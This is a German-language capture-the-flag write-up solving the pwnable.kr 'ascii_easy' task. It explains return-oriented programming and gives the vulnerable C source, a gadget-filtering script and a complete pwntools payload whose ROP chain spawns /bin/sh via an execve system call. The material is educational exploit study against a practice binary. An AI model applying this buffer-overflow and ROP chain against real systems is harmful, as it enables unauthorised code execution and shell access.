In diesem Artikel werden wir die 26. Aufgabe von der Website
pwnable.kr lösen und verstehen, was ROP ist, wie es funktioniert, warum es so gefährlich ist, und eine ROP-Kette mit zusätzlichen komplizierenden Kämpfern zusammenstellen.
Organisatorische InformationenSpeziell für diejenigen, die etwas Neues lernen und sich in einem der Bereiche Informations- und Computersicherheit weiterentwickeln möchten, werde ich folgende Kategorien beschreiben und besprechen:
- PWN;
- Kryptographie (Crypto);
- Netzwerktechnologien (Netzwerk);
- Reverse (Reverse Engineering);
- Steganographie (Stegano);
- Suche und Ausnutzung von WEB-Schwachstellen.
Darüber hinaus werde ich meine Erfahrungen in den Bereichen Computerforensik, Analyse von Malware und Firmware, Angriffe auf drahtlose Netzwerke und lokale Netzwerke, Durchführung von Pentests und Schreiben von Exploits teilen.
Damit Sie sich über neue Artikel, Software und andere Informationen informieren können, habe ich
in Telegram einen
Channel und eine
Gruppe erstellt, um alle Fragen im Bereich ICD
zu diskutieren . Auch ich werde Ihre persönlichen Wünsche, Fragen, Anregungen und Empfehlungen
persönlich berücksichtigen
und auf alle antworten .
Alle Informationen werden nur zu Bildungszwecken bereitgestellt. Der Autor dieses Dokuments übernimmt keine Verantwortung für Schäden, die jemandem durch die Verwendung von Kenntnissen und Methoden entstehen, die er durch das Studium dieses Dokuments erlangt hat.
Ascii_easy Joblösung
Wir fahren mit dem zweiten Abschnitt fort. Ich werde gleich sagen, dass es schwieriger ist als das erste, aber dieses Mal liefern sie uns den Quellcode des Programms. Vergessen Sie nicht die Diskussion hier (https://t.me/RalfHackerPublicChat) und hier (https://t.me/RalfHackerChannel). Fangen wir an.
Klicken Sie auf das Symbol "ascii_easy". Wir erhalten die Adresse und den Port für die Verbindung über SSH.

Wir sind über SSH verbunden und sehen das Flag, das Programm, den Quellcode und die libc-Bibliothek.

Sehen wir uns den Quellcode an.
#include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <fcntl.h> #define BASE ((void*)0x5555e000) int is_ascii(int c){ if(c>=0x20 && c<=0x7f) return 1; return 0; } void vuln(char* p){ char buf[20]; strcpy(buf, p); } void main(int argc, char* argv[]){ if(argc!=2){ printf("usage: ascii_easy [ascii input]\n"); return; } size_t len_file; struct stat st; int fd = open("/home/ascii_easy/libc-2.15.so", O_RDONLY); if( fstat(fd,&st) < 0){ printf("open error. tell admin!\n"); return; } len_file = st.st_size; if (mmap(BASE, len_file, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0) != BASE){ printf("mmap error!. tell admin\n"); return; } int i; for(i=0; i<strlen(argv[1]); i++){ if( !is_ascii(argv[1][i]) ){ printf("you have non-ascii byte!\n"); return; } } printf("triggering bug...\n"); vuln(argv[1]); }
Sortieren wir es in Blöcke. Das Programm nimmt einen String als Argument.

In diesem Fall sollte die Zeichenfolge nur aus ASCII-Zeichen bestehen.

Ein Speicherbereich mit einer bekannten Basisadresse und Lese-, Schreib- und Ausführungsberechtigungen wird ebenfalls zugewiesen. Die libc-Bibliothek wird in diesen Bereich gestellt.

Zusätzlich zu allem hat das Programm eine anfällige Funktion.

Wenn Sie das Programm überprüfen, können Sie außerdem sicherstellen, dass es einen nicht ausführbaren Stapel enthält (Parameter NX). Wir werden durch die Erstellung der ROP entscheiden.

Kopieren wir die Bibliothek zu uns.
scp -P2222 ascii_easy@pwnable.kr:/home/ascii_easy/libc-2.15.so /root/
Nun müssen Sie die ROP-Kette zusammenbauen. Verwenden Sie dazu das
ROP-Gadget- Tool.
ROPgadget --binary libc-2.15.so > gadgets.txt
In der Datei gadgets.txt haben wir alle möglichen ROP-Ketten (Beispiel 10 der ersten ist unten dargestellt).

Das Problem ist, dass wir nur solche auswählen müssen, die aus ASCII-Zeichen bestehen. Dazu schreiben wir einen einfachen Filter, der nur die Adressen zurücklässt, von denen jedes Byte zum Intervall von 0x20 bis einschließlich 0x7f gehört.
def addr_check(addr): ret = True for i in range(0,8,2): if int(addr[i:i+2], 16) not in range(0x20, 0x80): ret = False return ret f = open('gadgets.txt', 'rt') old_gadgets = f.read().split('\n')[2:-3] f.close() new_gadgets = "" base_addr = 0x5555e000 for gadget in old_gadgets: addr = base_addr + int(gadget.split(' : ')[0], 16) if addr_check(hex(addr)[2:]): new_gadgets += (hex(addr) + ' :' + ":".join(gadget.split(':')[1:]) + '\n') f = open('new_gadgets.txt', 'wt') f.write(new_gadgets) f.close()
Führen Sie das Programm aus und erhalten Sie eine Liste der ROP-Gadget-Adressen, die uns zufrieden stellen.
Rop-Geräte
Viele baten um mehr Details zur renditeorientierten Programmierung. Ok, lass uns ein Beispiel mit Illustrationen geben. Angenommen, wir haben eine Pufferüberlauf-Sicherheitsanfälligkeit und einen nicht ausführbaren Stapel.
Ein ROP-Gadget ist eine Sammlung von Anweisungen, die mit einer return-Anweisung ret endet. Gadgets wählen in der Regel aus den Endungen der Funktionen aus. Nehmen wir als Beispiel einige Funktionen. Wählen Sie in jedem von ihnen das ROP-Gadget (rot hervorgehoben).



Wir haben also mehrere ROP-Ketten:
0x000ed7cb: mov eax, edx; pop ebx; pop esi; ret 0x000ed7cd: pop ebx; pop esi; ret 0x000ed7ce: pop esi; ret 0x00033837: pop ebx; ret 0x0010ec1f: add esp, 0x2c; ret
Nun wollen wir herausfinden, was für eine Art von ROP-Ketten sind. Wenn der Puffer überläuft, können wir die Rücksprungadresse umschreiben. Angenommen, zu dem Zeitpunkt sollte der Befehl ret in der Zielfunktion ausgeführt werden, d. H., Am Anfang des Stapels befindet sich eine gültige Adresse.
Zum Beispiel möchten wir den folgenden Code ausführen:
add esp, 0x2c add esp, 0x2c add esp, 0x2c mov eax, edx pop ebx pop esi ret
Wir müssen die gültige Rücksendeadresse mit den folgenden Adressen umschreiben:
0x0010ec1f 0x0010ec1f 0x0010ec1f 0x000ed7cb
Sehen wir uns das folgende Bild an, um zu verstehen, warum dies funktioniert.

Anstatt zu einer gültigen Adresse zurückzukehren, gehen wir zur ersten Adresse unserer ROP-Kette. Nach Ausführung des ersten Befehls verschiebt der Befehl ret das Programm zur nächsten Adresse auf dem Stapel, dh zum zweiten Befehl. Der zweite Befehl endet ebenfalls mit ret, wodurch auch der nächste Befehl aufgerufen wird, dessen Adresse auf dem Stapel angegeben ist. Auf diese Weise erreichen wir die Ausführung des zuvor kompilierten Codes.
ROP-Verkettung für ascii_easy
Zunächst werden wir herausfinden, wie viele Bytes wir zum Überlaufen des Puffers benötigen. Führen Sie das Programm in gdb aus und führen Sie die Zeile der Eingabe zu.

Und das Programm stürzt auf die Adresse „bbbb“ ab, was bedeutet, dass der Abstand 32 Zeichen beträgt.
Am bequemsten ist es, die Funktion execve zu verwenden, um ROP zu betreiben. Die Bequemlichkeit liegt in der Übergabe von Parametern durch Register. Lassen Sie uns diese Funktion in der libc-Bibliothek finden. Dies kann mit GDB erfolgen.

Wenn wir jedoch die Ladeadresse der Bibliothek im Speicher zur Funktionsadresse hinzufügen, werden wir feststellen, dass sie die ASCII-Bedingung nicht erfüllt.

Es gibt jedoch eine andere Möglichkeit, die Funktion aufzurufen. Dies geschieht durch einen Systemaufruf. Unter Linux hat jeder Systemaufruf eine eigene Nummer. Diese Nummer muss sich im EAX-Register befinden, gefolgt von einem int 0x80-Interrupt-Aufruf. Die komplette Siscall-Tabelle finden Sie
hier .

Somit hat die Ausführungsfunktion die Nummer 11, dh der Wert 0xb sollte sich im EAX-Register befinden. Die Parameter werden über die EBX-Register übertragen - die Adresse am Anfang der Parameterzeile, ECX - die Adresse am Zeiger auf die Parameterzeile und EDX - die Adresse am Zeiger auf die Argumentumgebungsvariablen.

Wir müssen den String '/ bin / sh' an die Funktion übergeben. Dazu müssen wir es an die für die Aufzeichnung zulässige Stelle schreiben und die Adresse des Strings als Parameter übergeben. Die Zeile muss 4 Zeichen speichern, d.h. '/ bin' und '// sh', da die Register jeweils 4 Bytes übertragen. Dazu habe ich folgende Gadgets gefunden:
0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x55687b3c : mov dword ptr [edx], edi ; pop esi ; pop edi ; ret
Dieses Gadget:
- Nimm die Adresse zum Schreiben der Zeichenkette vom Stapel und lege sie in das edx-Register, nullifiziert eax.
- Es nimmt einen Wert vom Stapel und legt ihn in edi ab.
- Es kopiert den Wert von edi an die Adresse in edx (es schreibt unsere Zeile an die gewünschte Adresse).
- Es werden zwei weitere Werte vom Stapel genommen.
Für den Betrieb müssen daher folgende Werte übergeben werden:
0x555f3555 ; memory_addr ; (edx) 4__ ; 4 (edi) 0x55687b3c ; 4__ ; (esi) 4__ ; (edi)
Anschließend können Sie dieselben Minianwendungen ausführen, um den zweiten Teil der Zeile zu kopieren. Es wird nicht schwierig sein, die Adresse zum Schreiben zu finden, da die Bibliothek in einen Speicherbereich geladen ist, auf den zum Lesen, Schreiben und Ausführen zugegriffen werden kann.

Alle Adressen, die die ASCII-Bedingung erfüllen, können dort eingetragen werden. Ich habe die Adresse 0x55562023 genommen.
Jetzt müssen wir unsere Zeile mit einem Nullzeichen beenden. Für diese Aufgabe verwende ich die folgende Gadgetkette:
0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x5560645c : mov dword ptr [edx], eax ; ret
Dieses Gadget:
- Nimm die Adresse für den Null-Eintrag vom Stapel und lege sie in das edx-Register, nullifiziere eax.
- Nimm den Wert vom Stapel.
- Kopieren Sie den Wert von zeroed eax an die Adresse in edx.
Für den Betrieb müssen daher folgende Werte übergeben werden:
0x555f3555 ; memory_addr+8 ; 0 - (edx) 4__ ; edi 0x5560645c ;
So haben wir unsere Zeichenfolge in den Speicher kopiert. Als nächstes müssen Sie die Register ausfüllen, um Werte zu übertragen. Da das in execve aufgerufene Programm "/ bin / sh" keine eigenen Argumente und Umgebungsvariablen hat, übergeben wir ihnen einen Nullzeiger. In ebx schreiben wir die Adresse in die Zeile und in eax schreiben wir 11 - die Nummer des ausführenden Siskols. Dazu habe ich folgende Gadgets gefunden:
0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x556d2a51 : pop ecx ; add al, 0xa ; ret 0x5557734e : pop ebx ; ret 0x556c6864 : inc eax ; ret
Dieses Gadget:
- Setzt einen Wert aus dem Stapel in edx und macht eax ungültig.
- Verschieben Sie den Wert vom Stapel nach edi.
- Verschieben Sie den Wert vom Stapel nach ecx und addieren Sie ihn zu null eax 10.
- Verschieben Sie den Wert vom Stack zum ebx.
- Erhöhen Sie eax von 10 auf 11.
Für den Betrieb müssen daher folgende Werte übergeben werden:
0x555f3555 ; memory_addr+8 ; null (edx) 4__ ; edi 0x556d2a51 ; memory_addr+8 ; null (ecx) 0x5557734e ; memory_addr ; -(ebx) 0x556c6864 ;
Und wir beenden unsere ROP-Kette mit einer Ausnahme.
0x55667176 : inc esi ; int 0x80
Nachfolgend finden Sie eine abgekürzte und allgemeine Aufzeichnung des oben Gesagten.

Und der Code, der die Nutzlast bildet.
from pwn import * payload = "a"*32 pop_edx = 0x555f3555 memory_addr = 0x55562023 mov_edx_edi = 0x55687b3c mov_edx_eax = 0x5560645c pop_ecx = 0x556d2a51 pop_ebx = 0x5557734e inc_eax = 0x556c6864 int_80 = 0x55667176 payload += p32(pop_edx) payload += p32(memory_addr) payload += '/bin' payload += p32(mov_edx_edi) payload += 'aaaaaaaa' payload += p32(pop_edx) payload += p32(memory_addr + 4) payload += '//sh' payload += p32(mov_edx_edi) payload += 'aaaaaaaa' payload += p32(pop_edx) payload += p32(memory_addr + 8) payload += 'aaaa' payload += p32(mov_edx_eax) payload += p32(pop_edx) payload += p32(memory_addr + 8) payload += 'aaaa' payload += p32(pop_ecx) payload += p32(memory_addr + 8) payload += p32(pop_ebx) payload += p32(memory_addr) payload += p32(inc_eax) payload += p32(int_80) print(payload)


Ehrlich gesagt, für mich war es aus irgendeinem Grund eine der schwierigsten Aufgaben auf dieser Website ...
Immer komplizierter ... Sie können sich uns auf
Telegramm anschließen . Bauen wir eine Community auf, in der es Menschen geben wird, die sich in vielen Bereichen der IT auskennen. Dann können wir uns gegenseitig in allen Fragen der IT- und Informationssicherheit helfen.